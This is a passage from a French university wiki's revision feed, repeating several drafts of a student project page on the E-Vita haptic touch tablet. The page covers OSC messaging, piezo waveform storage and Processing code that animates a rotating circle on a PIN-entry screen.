A la différence, le OSC Bundle qui comporte lui-même une identification de temps, la méthode devra être éxécuté si le Time-Tag du bundle est égal ou déjà passé, et à l'inverse devra stocker le bundle et lancé la méthode au bon moment si le Time-Tag indique un évèvenement futur.&lt;br /&gt;
&lt;br /&gt;
Cette réalisation permet un résultat temps réel sur l'application, entre le moment du contact entre le doigt et la tablette et l'action de vibration des céramiques.&lt;br /&gt;
&lt;br /&gt;
==Retour des valeurs d'amplitude sur la plaque piezo==&lt;br /&gt;
&lt;br /&gt;
Aujourd'hui le contrôle des céramique se fait grâce à des fichiers écrits en &amp;quot;dur&amp;quot; dans le programme, chacun des ses fichiers se présente sous la forme d'un tableau de 10000 valeurs d'entier.&lt;br /&gt;
Un entier est composé de 4 octets, sachant que 4 formes d'ondes sont utilisées dans la gamme de fréquence (50, 100, 500, 1000, 5000, 10000).&lt;br /&gt;
Cela correspond donc à 6*4*4*10000 = 960 ko de mémoire utilisé. &lt;br /&gt;
&lt;br /&gt;
Une solution évidente serait de non pas récupérer la valeur dans un tableau mais bien de la calculer voir de la prédire en fonction du déplacement, de la dimension de l'écran, de la fréquence de rafraîchissement. &lt;br /&gt;
&lt;br /&gt;
 Signal Sinusoîdal -&amp;gt; sin(wt)&lt;br /&gt;
 Signal Carré -&amp;gt; x(t) = 1 , 0 &amp;lt; t &amp;lt;= T et 0, T &amp;lt; t &amp;lt; 2T.&lt;br /&gt;
 Signal dent de scie -&amp;gt; x(t) = t, 0 &amp;lt; t &amp;lt; 2T&lt;br /&gt;
 Signal Dirac&lt;br /&gt;
&lt;br /&gt;
Un passage dans le domaine fréquentiel permettrait de généralisé le calcul des valeurs de retour. Ainsi qu'une représentation plus formelle du problème.&lt;br /&gt;
 &lt;br /&gt;
&lt;br /&gt;
=Cahier des charges=&lt;br /&gt;
&lt;br /&gt;
Établir une représentation visuel d'un mouvement de rotation sur une application de verrrouillage/dévérouillage par code/retour tactile.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=Avancé du travail=&lt;br /&gt;
Afin d'apréhender le probleme facilement j'ai commencer par représenté un segment en direction du chiffre en cours de sélection. &lt;br /&gt;
&lt;br /&gt;
Photo ligne &amp;amp; &amp;amp; 6&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Ligne_numero_1|500px|left]]&lt;br /&gt;
[[Fichier:Ligne_numero_6|500px|right]]&lt;br /&gt;
&lt;br /&gt;
Le code correspondant est un banal switch/case inscrit dans la fonction draw() :&lt;br /&gt;
&lt;br /&gt;
   fill(255, 0, 0);&lt;br /&gt;
    switch (currentNumber){&lt;br /&gt;
    case 1:&lt;br /&gt;
      fill(255, 0, 0);&lt;br /&gt;
      line(240,340,116,800-552);&lt;br /&gt;
      break;&lt;br /&gt;
      &lt;br /&gt;
    case 2:&lt;br /&gt;
      fill(255, 0, 0);&lt;br /&gt;
      line(240,340,239,800-676);&lt;br /&gt;
      break;&lt;br /&gt;
    case 3:&lt;br /&gt;
      fill(255, 0, 0);&lt;br /&gt;
      line(240,340,384,800-558);&lt;br /&gt;
      break;&lt;br /&gt;
      &lt;br /&gt;
    case 4:&lt;br /&gt;
      fill(255, 0, 0);&lt;br /&gt;
      line(240,340,381,800-372);&lt;br /&gt;
      break;&lt;br /&gt;
  &lt;br /&gt;
    case 5:&lt;br /&gt;
   fill(255, 0, 0);&lt;br /&gt;
      line(240,340,237,800-257);&lt;br /&gt;
      break;&lt;br /&gt;
    case 6:&lt;br /&gt;
    &lt;br /&gt;
     fill(255, 0, 0);&lt;br /&gt;
      line(240,340,98,800-372);&lt;br /&gt;
      break;&lt;br /&gt;
  }&lt;br /&gt;
&lt;br /&gt;
Je décide donc de réaliser un cercle autour du bouton &amp;quot;OK&amp;quot; avec 4 segments permettant d'observer une rotation du cercle toujours dans la fonction draw() :&lt;br /&gt;
&lt;br /&gt;
 if (!creatingCode){&lt;br /&gt;
      translate(240, 333); // On place le référentiel au centre du bouton &amp;quot;OK&amp;quot;&lt;br /&gt;
     &lt;br /&gt;
      rotate(direction * millis() * 0.001 * TWO_PI / 1O.0);   // Créer une rotation de 360° en 10 secondes.&lt;br /&gt;
      noFill();&lt;br /&gt;
      strokeWeight(5);&lt;br /&gt;
      ellipseMode(CENTER);&lt;br /&gt;
      ellipse(0,0,145,145); &lt;br /&gt;
      line(75,0,90,0);&lt;br /&gt;
      line(-75,0,-90,0);&lt;br /&gt;
      line(0,75,0,90);&lt;br /&gt;
      line(0,-75,0,-90);&lt;br /&gt;
    }&lt;br /&gt;
&lt;br /&gt;
Pour l'instant la rotation se fait sans arrêt, cela ne convient qu'a moitié, mais elle permet tout de même de tourner plus vite si jamais on appuie plus d'une fois sur une des flèches jaunes.&lt;br /&gt;
&lt;br /&gt;
Afin d'obtenir une solution plus adéquate divers variables globales sont utilisées :&lt;br /&gt;
&lt;br /&gt;
 int direction = 0;       // Sens de direction rotation 0 = fixe / +n = décalage trigo / -n = décalage anti-trigo&lt;br /&gt;
 int nb_frame = 0;        // Enregistre le nombre de frame lorque l'on appuie sur une des flèches.&lt;br /&gt;
 float phi = 0.;          // Sert contient le calcul de la phase pour la rotation.&lt;br /&gt;
&lt;br /&gt;
La variable direction est modifié à chaque appuie sur une des deux flèches jaunes. Elle incrémente un compteur qui reset à chaque fin de rotation.&lt;br /&gt;
La rotation est rendu possible grâce au combo pushMatrix()/popMatrix() elle me permet d'afficher 6 segments séparés d'un angle de pi/3. &lt;br /&gt;
La variable phi correspond à la phase du premier segment, c'est cet élémént qui réalise réellement la rotation.&lt;br /&gt;
&lt;br /&gt;
 if (!creatingCode){&lt;br /&gt;
      translate(240, 333);                                               // Centrage sur &amp;quot;OK&amp;quot;&lt;br /&gt;
      noFill();&lt;br /&gt;
      strokeWeight(5);&lt;br /&gt;
      ellipseMode(CENTER);&lt;br /&gt;
      ellipse(0,0,145,145);&lt;br /&gt;
      if (frameCount &amp;lt; nb_frame +60){                                    // Calcul de la position du premier segment&lt;br /&gt;
         phi = direction * ((nb_frame-frameCount)/60.) * PI/3;           // Le frameRate est fixé à 60 itérations/s&lt;br /&gt;
      }else{&lt;br /&gt;
        direction =0;                                                    // Reset de la variable d'appui&lt;br /&gt;
      }&lt;br /&gt;
      //Creation des segments&lt;br /&gt;
      for (int i=0; i&amp;lt;6; i++){                                           // Cette boucle permet donc de créer les 6 segments et de donner l'impression qu'il tourne autour du cercle &lt;br /&gt;
        pushMatrix();&lt;br /&gt;
        rotate(phi + i*PI/3);&lt;br /&gt;
        line(75,0,90,0);&lt;br /&gt;
        popMatrix();&lt;br /&gt;
      }&lt;br /&gt;
    }&lt;/div&gt;</summary>
		<author><name>Pfitouss</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=Fichier:Rotation_propre.mp4&amp;diff=37192</id>
		<title>Fichier:Rotation propre.mp4</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=Fichier:Rotation_propre.mp4&amp;diff=37192"/>
				<updated>2017-01-10T18:05:23Z</updated>
		
		<summary type="html">&lt;p&gt;Pfitouss : &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;&lt;/div&gt;</summary>
		<author><name>Pfitouss</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=Fichier:Ligne_numero_6.png&amp;diff=37191</id>
		<title>Fichier:Ligne numero 6.png</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=Fichier:Ligne_numero_6.png&amp;diff=37191"/>
				<updated>2017-01-10T18:05:09Z</updated>
		
		<summary type="html">&lt;p&gt;Pfitouss : &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;&lt;/div&gt;</summary>
		<author><name>Pfitouss</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=Fichier:Ligne_numero_1.png&amp;diff=37190</id>
		<title>Fichier:Ligne numero 1.png</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=Fichier:Ligne_numero_1.png&amp;diff=37190"/>
				<updated>2017-01-10T18:04:16Z</updated>
		
		<summary type="html">&lt;p&gt;Pfitouss : &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;&lt;/div&gt;</summary>
		<author><name>Pfitouss</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=P42_Dispositif_%C3%A0_retour_tactile&amp;diff=37189</id>
		<title>P42 Dispositif à retour tactile</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=P42_Dispositif_%C3%A0_retour_tactile&amp;diff=37189"/>
				<updated>2017-01-10T17:51:19Z</updated>
		
		<summary type="html">&lt;p&gt;Pfitouss : /* Avancé du travail */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;=Contexte du sujet=&lt;br /&gt;
L'E-vita s'inscrit dans une nouvelle démarche en faveur de l'interface homme-machine.&lt;br /&gt;
Depuis des année la technologie exploite nos sens de différente manière, l'idée de faire répondre la machine et de se faire comprendre par l'utilisateur, est obligatoire au bon fonctionnement de programme et autre fonctions. L'ouï, la vue sont les sens les plus exploiter par la technologie depuis le commencement.&lt;br /&gt;
Mais depuis un long moment le toucher se répand sur les différents système afin de s'approcher au plus près de l'utilisateur, l'écran tactile s'inscrit donc dans une nouvelle ère technologique, où les machines ne sont plus contrôler via des interrupteur ou bouton, mais via les différentes possibilités du toucher sur un écran.&lt;br /&gt;
Noter cependant que si depuis très longtemps les écran nous transmettent des informations, que l'on arrive également à contrôler des système via le son (clap des mains pour éteindre la lumière), il n'existe pas de dispositif tactile qui fonctionne en duplex (Homme vers machine, machine vers homme).&lt;br /&gt;
&lt;br /&gt;
C'est dans ce contexte que le bureau d'étude de l'IRCICA met au point l'E-Vita, un dispositif tactile qui non seulement permet la communication d'un homme vers la machine mais qui est également capable de faire communiquer,grâce au toucher, la machine vers l'utilisateur.&lt;br /&gt;
Le projet E-Vita, lancé en 2003, est capable aujourd'hui, via différentes applications test, de faire ressentir à son utilisateur différentes formes d'ondes (motifs), via des céramiques piezo-electriques. La dalle se met à vibrer sous le doigt de l'utilisateur ainsi la machine communique avec son utilisateur.&lt;br /&gt;
&lt;br /&gt;
=Objectif du sujet=&lt;br /&gt;
L'objectif de ce Projet de fin d'étude, et de réétudier la loi de contrôle qui permet au µC de contrôler les céramiques.&lt;br /&gt;
Actuellement une couche hardware supérieur récupère le mouvement du doigt ainsi que sa vitesse afin de faire ressentir à l'utilisateur un motif, une vibration électronique unique, typiquement une forme d'onde. L'idée principale et de rajouter de la dynamique dans la commande des céramiques afin que les motif ne soit plus enregistrée en dur dans le micro-controleur. Une possibilité envisageable pour cette définition de motif ainsi que la transmission de l'ordre, et de passer dans le domaine fréquentielle.&lt;br /&gt;
Je citais plus haut que le dispositif se décompose en plusieurs couches matérielles et logicielles, afin de les faire communiquer une couche transport OSC est utilisé afin de faire communiquer le micro-controller et le Banana Pi. Seulement pour des raison évidentes lorsque la plaque vibre, il n'y a que la surface de contact qui se mets réellement à osciller, on a donc ici un soucis de delai entre le moment où l'utilisateur pose son doigt, se déplace, et le suivi de par le programme des zone de vibrations. Il est envisageable si le projet se déroule bien de pouvoir réétudier la question de la programmation événementielle de la tablette tactile, afin que se temps de latence soit le plus bas possible.&lt;br /&gt;
&lt;br /&gt;
==Protocole de communication OSC==&lt;br /&gt;
&lt;br /&gt;
Afin de faire la liaison entre le Banana Pi et le micro-controlleur, la couche liaison est réalisé grâce au protocole Open Sound Control.&lt;br /&gt;
OSC est un protocole créer afin de faciliter la transmission d'information multimédia sur un réseau.&lt;br /&gt;
Utilisé pour la transmission de musique cela s'adapte a notre transmission de fréquence pour la vibration des céramique.&lt;br /&gt;
Cette communication utilise les normes TCP et UDP pour la communication temps réel entre le serveur et le client. &lt;br /&gt;
&lt;br /&gt;
Les paquets sont transmis avec deux informations, la première information est la taille du paquet OCS et la deuxième le paquet lui-même.&lt;br /&gt;
La taille des paquets OCS sont toujours un multiple de 4. Cela permet un alignement des différents block transmis.&lt;br /&gt;
Le contenus d'un paquet peut soit être un OSC Messages ou un OSC Bundle&lt;br /&gt;
&lt;br /&gt;
Quand le serveur reçoit un simple OSC Message il doit s'empresser d'invoquer la méthode associé. &lt;br /&gt;
A la différence, le OSC Bundle qui comporte lui-même une identification de temps, la méthode devra être éxécuté si le Time-Tag du bundle est égal ou déjà passé, et à l'inverse devra stocker le bundle et lancé la méthode au bon moment si le Time-Tag indique un évèvenement futur.&lt;br /&gt;
&lt;br /&gt;
Cette réalisation permet un résultat temps réel sur l'application, entre le moment du contact entre le doigt et la tablette et l'action de vibration des céramiques.&lt;br /&gt;
&lt;br /&gt;
==Retour des valeurs d'amplitude sur la plaque piezo==&lt;br /&gt;
&lt;br /&gt;
Aujourd'hui le contrôle des céramique se fait grâce à des fichiers écrits en &amp;quot;dur&amp;quot; dans le programme, chacun des ses fichiers se présente sous la forme d'un tableau de 10000 valeurs d'entier.&lt;br /&gt;
Un entier est composé de 4 octets, sachant que 4 formes d'ondes sont utilisées dans la gamme de fréquence (50, 100, 500, 1000, 5000, 10000).&lt;br /&gt;
Cela correspond donc à 6*4*4*10000 = 960 ko de mémoire utilisé. &lt;br /&gt;
&lt;br /&gt;
Une solution évidente serait de non pas récupérer la valeur dans un tableau mais bien de la calculer voir de la prédire en fonction du déplacement, de la dimension de l'écran, de la fréquence de rafraîchissement. &lt;br /&gt;
&lt;br /&gt;
 Signal Sinusoîdal -&amp;gt; sin(wt)&lt;br /&gt;
 Signal Carré -&amp;gt; x(t) = 1 , 0 &amp;lt; t &amp;lt;= T et 0, T &amp;lt; t &amp;lt; 2T.&lt;br /&gt;
 Signal dent de scie -&amp;gt; x(t) = t, 0 &amp;lt; t &amp;lt; 2T&lt;br /&gt;
 Signal Dirac&lt;br /&gt;
&lt;br /&gt;
Un passage dans le domaine fréquentiel permettrait de généralisé le calcul des valeurs de retour. Ainsi qu'une représentation plus formelle du problème.&lt;br /&gt;
 &lt;br /&gt;
&lt;br /&gt;
=Cahier des charges=&lt;br /&gt;
&lt;br /&gt;
Établir une représentation visuel d'un mouvement de rotation sur une application de verrrouillage/dévérouillage par code/retour tactile.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=Avancé du travail=&lt;br /&gt;
Afin d'apréhender le probleme facilement j'ai commencer par représenté un segment en direction du chiffre en cours de sélection. &lt;br /&gt;
&lt;br /&gt;
Photo ligne &amp;amp; &amp;amp; 6&lt;br /&gt;
&lt;br /&gt;
Le code correspondant est un banal switch/case inscrit dans la fonction draw() :&lt;br /&gt;
&lt;br /&gt;
   fill(255, 0, 0);&lt;br /&gt;
    switch (currentNumber){&lt;br /&gt;
    case 1:&lt;br /&gt;
      fill(255, 0, 0);&lt;br /&gt;
      line(240,340,116,800-552);&lt;br /&gt;
      break;&lt;br /&gt;
      &lt;br /&gt;
    case 2:&lt;br /&gt;
      fill(255, 0, 0);&lt;br /&gt;
      line(240,340,239,800-676);&lt;br /&gt;
      break;&lt;br /&gt;
    case 3:&lt;br /&gt;
      fill(255, 0, 0);&lt;br /&gt;
      line(240,340,384,800-558);&lt;br /&gt;
      break;&lt;br /&gt;
      &lt;br /&gt;
    case 4:&lt;br /&gt;
      fill(255, 0, 0);&lt;br /&gt;
      line(240,340,381,800-372);&lt;br /&gt;
      break;&lt;br /&gt;
  &lt;br /&gt;
    case 5:&lt;br /&gt;
   fill(255, 0, 0);&lt;br /&gt;
      line(240,340,237,800-257);&lt;br /&gt;
      break;&lt;br /&gt;
    case 6:&lt;br /&gt;
    &lt;br /&gt;
     fill(255, 0, 0);&lt;br /&gt;
      line(240,340,98,800-372);&lt;br /&gt;
      break;&lt;br /&gt;
  }&lt;br /&gt;
&lt;br /&gt;
Je décide donc de réaliser un cercle autour du bouton &amp;quot;OK&amp;quot; avec 4 segments permettant d'observer une rotation du cercle toujours dans la fonction draw() :&lt;br /&gt;
&lt;br /&gt;
 if (!creatingCode){&lt;br /&gt;
      translate(240, 333); // On place le référentiel au centre du bouton &amp;quot;OK&amp;quot;&lt;br /&gt;
     &lt;br /&gt;
      rotate(direction * millis() * 0.001 * TWO_PI / 1O.0);   // Créer une rotation de 360° en 10 secondes.&lt;br /&gt;
      noFill();&lt;br /&gt;
      strokeWeight(5);&lt;br /&gt;
      ellipseMode(CENTER);&lt;br /&gt;
      ellipse(0,0,145,145); &lt;br /&gt;
      line(75,0,90,0);&lt;br /&gt;
      line(-75,0,-90,0);&lt;br /&gt;
      line(0,75,0,90);&lt;br /&gt;
      line(0,-75,0,-90);&lt;br /&gt;
    }&lt;br /&gt;
&lt;br /&gt;
Pour l'instant la rotation se fait sans arrêt, cela ne convient qu'a moitié, mais elle permet tout de même de tourner plus vite si jamais on appuie plus d'une fois sur une des flèches jaunes.&lt;br /&gt;
&lt;br /&gt;
Afin d'obtenir une solution plus adéquate divers variables globales sont utilisées :&lt;br /&gt;
&lt;br /&gt;
 int direction = 0;       // Sens de direction rotation 0 = fixe / +n = décalage trigo / -n = décalage anti-trigo&lt;br /&gt;
 int nb_frame = 0;        // Enregistre le nombre de frame lorque l'on appuie sur une des flèches.&lt;br /&gt;
 float phi = 0.;          // Sert contient le calcul de la phase pour la rotation.&lt;br /&gt;
&lt;br /&gt;
La variable direction est modifié à chaque appuie sur une des deux flèches jaunes. Elle incrémente un compteur qui reset à chaque fin de rotation.&lt;br /&gt;
La rotation est rendu possible grâce au combo pushMatrix()/popMatrix() elle me permet d'afficher 6 segments séparés d'un angle de pi/3. &lt;br /&gt;
La variable phi correspond à la phase du premier segment, c'est cet élémént qui réalise réellement la rotation.&lt;br /&gt;
&lt;br /&gt;
 if (!creatingCode){&lt;br /&gt;
      translate(240, 333);                                               // Centrage sur &amp;quot;OK&amp;quot;&lt;br /&gt;
      noFill();&lt;br /&gt;
      strokeWeight(5);&lt;br /&gt;
      ellipseMode(CENTER);&lt;br /&gt;
      ellipse(0,0,145,145);&lt;br /&gt;
      if (frameCount &amp;lt; nb_frame +60){                                    // Calcul de la position du premier segment&lt;br /&gt;
         phi = direction * ((nb_frame-frameCount)/60.) * PI/3;           // Le frameRate est fixé à 60 itérations/s&lt;br /&gt;
      }else{&lt;br /&gt;
        direction =0;                                                    // Reset de la variable d'appui&lt;br /&gt;
      }&lt;br /&gt;
      //Creation des segments&lt;br /&gt;
      for (int i=0; i&amp;lt;6; i++){                                           // Cette boucle permet donc de créer les 6 segments et de donner l'impression qu'il tourne autour du cercle &lt;br /&gt;
        pushMatrix();&lt;br /&gt;
        rotate(phi + i*PI/3);&lt;br /&gt;
        line(75,0,90,0);&lt;br /&gt;
        popMatrix();&lt;br /&gt;
      }&lt;br /&gt;
    }&lt;/div&gt;</summary>
		<author><name>Pfitouss</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=P42_Dispositif_%C3%A0_retour_tactile&amp;diff=37188</id>
		<title>P42 Dispositif à retour tactile</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=P42_Dispositif_%C3%A0_retour_tactile&amp;diff=37188"/>
				<updated>2017-01-10T17:50:30Z</updated>
		
		<summary type="html">&lt;p&gt;Pfitouss : &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;=Contexte du sujet=&lt;br /&gt;
L'E-vita s'inscrit dans une nouvelle démarche en faveur de l'interface homme-machine.&lt;br /&gt;
Depuis des année la technologie exploite nos sens de différente manière, l'idée de faire répondre la machine et de se faire comprendre par l'utilisateur, est obligatoire au bon fonctionnement de programme et autre fonctions. L'ouï, la vue sont les sens les plus exploiter par la technologie depuis le commencement.&lt;br /&gt;
Mais depuis un long moment le toucher se répand sur les différents système afin de s'approcher au plus près de l'utilisateur, l'écran tactile s'inscrit donc dans une nouvelle ère technologique, où les machines ne sont plus contrôler via des interrupteur ou bouton, mais via les différentes possibilités du toucher sur un écran.&lt;br /&gt;
Noter cependant que si depuis très longtemps les écran nous transmettent des informations, que l'on arrive également à contrôler des système via le son (clap des mains pour éteindre la lumière), il n'existe pas de dispositif tactile qui fonctionne en duplex (Homme vers machine, machine vers homme).&lt;br /&gt;
&lt;br /&gt;
C'est dans ce contexte que le bureau d'étude de l'IRCICA met au point l'E-Vita, un dispositif tactile qui non seulement permet la communication d'un homme vers la machine mais qui est également capable de faire communiquer,grâce au toucher, la machine vers l'utilisateur.&lt;br /&gt;
Le projet E-Vita, lancé en 2003, est capable aujourd'hui, via différentes applications test, de faire ressentir à son utilisateur différentes formes d'ondes (motifs), via des céramiques piezo-electriques. La dalle se met à vibrer sous le doigt de l'utilisateur ainsi la machine communique avec son utilisateur.&lt;br /&gt;
&lt;br /&gt;
=Objectif du sujet=&lt;br /&gt;
L'objectif de ce Projet de fin d'étude, et de réétudier la loi de contrôle qui permet au µC de contrôler les céramiques.&lt;br /&gt;
Actuellement une couche hardware supérieur récupère le mouvement du doigt ainsi que sa vitesse afin de faire ressentir à l'utilisateur un motif, une vibration électronique unique, typiquement une forme d'onde. L'idée principale et de rajouter de la dynamique dans la commande des céramiques afin que les motif ne soit plus enregistrée en dur dans le micro-controleur. Une possibilité envisageable pour cette définition de motif ainsi que la transmission de l'ordre, et de passer dans le domaine fréquentielle.&lt;br /&gt;
Je citais plus haut que le dispositif se décompose en plusieurs couches matérielles et logicielles, afin de les faire communiquer une couche transport OSC est utilisé afin de faire communiquer le micro-controller et le Banana Pi. Seulement pour des raison évidentes lorsque la plaque vibre, il n'y a que la surface de contact qui se mets réellement à osciller, on a donc ici un soucis de delai entre le moment où l'utilisateur pose son doigt, se déplace, et le suivi de par le programme des zone de vibrations. Il est envisageable si le projet se déroule bien de pouvoir réétudier la question de la programmation événementielle de la tablette tactile, afin que se temps de latence soit le plus bas possible.&lt;br /&gt;
&lt;br /&gt;
==Protocole de communication OSC==&lt;br /&gt;
&lt;br /&gt;
Afin de faire la liaison entre le Banana Pi et le micro-controlleur, la couche liaison est réalisé grâce au protocole Open Sound Control.&lt;br /&gt;
OSC est un protocole créer afin de faciliter la transmission d'information multimédia sur un réseau.&lt;br /&gt;
Utilisé pour la transmission de musique cela s'adapte a notre transmission de fréquence pour la vibration des céramique.&lt;br /&gt;
Cette communication utilise les normes TCP et UDP pour la communication temps réel entre le serveur et le client. &lt;br /&gt;
&lt;br /&gt;
Les paquets sont transmis avec deux informations, la première information est la taille du paquet OCS et la deuxième le paquet lui-même.&lt;br /&gt;
La taille des paquets OCS sont toujours un multiple de 4. Cela permet un alignement des différents block transmis.&lt;br /&gt;
Le contenus d'un paquet peut soit être un OSC Messages ou un OSC Bundle&lt;br /&gt;
&lt;br /&gt;
Quand le serveur reçoit un simple OSC Message il doit s'empresser d'invoquer la méthode associé. &lt;br /&gt;
A la différence, le OSC Bundle qui comporte lui-même une identification de temps, la méthode devra être éxécuté si le Time-Tag du bundle est égal ou déjà passé, et à l'inverse devra stocker le bundle et lancé la méthode au bon moment si le Time-Tag indique un évèvenement futur.&lt;br /&gt;
&lt;br /&gt;
Cette réalisation permet un résultat temps réel sur l'application, entre le moment du contact entre le doigt et la tablette et l'action de vibration des céramiques.&lt;br /&gt;
&lt;br /&gt;
==Retour des valeurs d'amplitude sur la plaque piezo==&lt;br /&gt;
&lt;br /&gt;
Aujourd'hui le contrôle des céramique se fait grâce à des fichiers écrits en &amp;quot;dur&amp;quot; dans le programme, chacun des ses fichiers se présente sous la forme d'un tableau de 10000 valeurs d'entier.&lt;br /&gt;
Un entier est composé de 4 octets, sachant que 4 formes d'ondes sont utilisées dans la gamme de fréquence (50, 100, 500, 1000, 5000, 10000).&lt;br /&gt;
Cela correspond donc à 6*4*4*10000 = 960 ko de mémoire utilisé. &lt;br /&gt;
&lt;br /&gt;
Une solution évidente serait de non pas récupérer la valeur dans un tableau mais bien de la calculer voir de la prédire en fonction du déplacement, de la dimension de l'écran, de la fréquence de rafraîchissement. &lt;br /&gt;
&lt;br /&gt;
 Signal Sinusoîdal -&amp;gt; sin(wt)&lt;br /&gt;
 Signal Carré -&amp;gt; x(t) = 1 , 0 &amp;lt; t &amp;lt;= T et 0, T &amp;lt; t &amp;lt; 2T.&lt;br /&gt;
 Signal dent de scie -&amp;gt; x(t) = t, 0 &amp;lt; t &amp;lt; 2T&lt;br /&gt;
 Signal Dirac&lt;br /&gt;
&lt;br /&gt;
Un passage dans le domaine fréquentiel permettrait de généralisé le calcul des valeurs de retour. Ainsi qu'une représentation plus formelle du problème.&lt;br /&gt;
 &lt;br /&gt;
&lt;br /&gt;
=Cahier des charges=&lt;br /&gt;
&lt;br /&gt;
Établir une représentation visuel d'un mouvement de rotation sur une application de verrrouillage/dévérouillage par code/retour tactile.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=Avancé du travail=&lt;br /&gt;
Afin d'apréhender le probleme facilement j'ai commencer par représenté un segment en direction du chiffre en cours de sélection. &lt;br /&gt;
&lt;br /&gt;
Photo ligne &amp;amp; &amp;amp; 6&lt;br /&gt;
&lt;br /&gt;
Le code correspondant est un banal switch/case inscrit dans la fonction draw() :&lt;br /&gt;
&lt;br /&gt;
   fill(255, 0, 0);&lt;br /&gt;
    switch (currentNumber){&lt;br /&gt;
    case 1:&lt;br /&gt;
      fill(255, 0, 0);&lt;br /&gt;
      line(240,340,116,800-552);&lt;br /&gt;
      break;&lt;br /&gt;
      &lt;br /&gt;
    case 2:&lt;br /&gt;
      fill(255, 0, 0);&lt;br /&gt;
      line(240,340,239,800-676);&lt;br /&gt;
      break;&lt;br /&gt;
    case 3:&lt;br /&gt;
      fill(255, 0, 0);&lt;br /&gt;
      line(240,340,384,800-558);&lt;br /&gt;
      break;&lt;br /&gt;
      &lt;br /&gt;
    case 4:&lt;br /&gt;
      fill(255, 0, 0);&lt;br /&gt;
      line(240,340,381,800-372);&lt;br /&gt;
      break;&lt;br /&gt;
  &lt;br /&gt;
    case 5:&lt;br /&gt;
   fill(255, 0, 0);&lt;br /&gt;
      line(240,340,237,800-257);&lt;br /&gt;
      break;&lt;br /&gt;
    case 6:&lt;br /&gt;
    &lt;br /&gt;
     fill(255, 0, 0);&lt;br /&gt;
      line(240,340,98,800-372);&lt;br /&gt;
      break;&lt;br /&gt;
  }&lt;br /&gt;
&lt;br /&gt;
Je décide donc de réaliser un cercle autour du bouton &amp;quot;OK&amp;quot; avec 4 segments permettant d'observer une rotation du cercle toujours dans la fonction draw() :&lt;br /&gt;
&lt;br /&gt;
 if (!creatingCode){&lt;br /&gt;
      translate(240, 333); // On place le référentiel au centre du bouton &amp;quot;OK&amp;quot;&lt;br /&gt;
     &lt;br /&gt;
      rotate(direction * millis() * 0.001 * TWO_PI / 1O.0);   // Créer une rotation de 360° en 10 secondes.&lt;br /&gt;
      noFill();&lt;br /&gt;
      strokeWeight(5);&lt;br /&gt;
      ellipseMode(CENTER);&lt;br /&gt;
      ellipse(0,0,145,145); &lt;br /&gt;
      line(75,0,90,0);&lt;br /&gt;
      line(-75,0,-90,0);&lt;br /&gt;
      line(0,75,0,90);&lt;br /&gt;
      line(0,-75,0,-90);&lt;br /&gt;
    }&lt;br /&gt;
&lt;br /&gt;
Pour l'instant la rotation se fait sans arrêt, cela ne convient qu'a moitié, mais elle permet tout de même de tourner plus vite si jamais on appuie plus d'une fois sur une des flèches jaunes.&lt;br /&gt;
&lt;br /&gt;
Afin d'obtenir une solution plus adéquate divers variables globales sont utilisées :&lt;br /&gt;
&lt;br /&gt;
 int direction = 0;       // Sens de direction rotation 0 = fixe / +n = décalage trigo / -n = décalage anti-trigo&lt;br /&gt;
 int nb_frame = 0;        // Enregistre le nombre de frame lorque l'on appuie sur une des flèches.&lt;br /&gt;
 float phi = 0.;          // Sert contient le calcul de la phase pour la rotation.&lt;br /&gt;
&lt;br /&gt;
La variable direction est modifié à chaque appuie sur une des deux flèches jaunes. Elle incrémente un compteur qui reset à chaque fin de rotation.&lt;br /&gt;
La rotation est rendu possible grâce au combo pushMatrix()/popMatrix() elle me permet d'afficher 6 segments séparés d'un angle de pi/3. &lt;br /&gt;
La variable phi correspond à la phase du premier du premier rotation&lt;br /&gt;
&lt;br /&gt;
 if (!creatingCode){&lt;br /&gt;
      translate(240, 333);                                               // Centrage sur &amp;quot;OK&amp;quot;&lt;br /&gt;
      noFill();&lt;br /&gt;
      strokeWeight(5);&lt;br /&gt;
      ellipseMode(CENTER);&lt;br /&gt;
      ellipse(0,0,145,145);&lt;br /&gt;
      if (frameCount &amp;lt; nb_frame +60){                                    // Calcul de la position du premier segment&lt;br /&gt;
         phi = direction * ((nb_frame-frameCount)/60.) * PI/3;           // Le frameRate est fixé à 60 itérations/s&lt;br /&gt;
      }else{&lt;br /&gt;
        direction =0;                                                    // Reset de la variable d'appui&lt;br /&gt;
      }&lt;br /&gt;
      //Creation des segments&lt;br /&gt;
      for (int i=0; i&amp;lt;6; i++){                                           // Cette boucle permet donc de créer les 6 segments et de donner l'impression qu'il tourne autour du cercle &lt;br /&gt;
        pushMatrix();&lt;br /&gt;
        rotate(phi + i*PI/3);&lt;br /&gt;
        line(75,0,90,0);&lt;br /&gt;
        popMatrix();&lt;br /&gt;
      }&lt;br /&gt;
    }&lt;/div&gt;</summary>
		<author><name>Pfitouss</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=P42_Dispositif_%C3%A0_retour_tactile&amp;diff=37151</id>
		<title>P42 Dispositif à retour tactile</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=P42_Dispositif_%C3%A0_retour_tactile&amp;diff=37151"/>
				<updated>2017-01-10T12:55:43Z</updated>
		
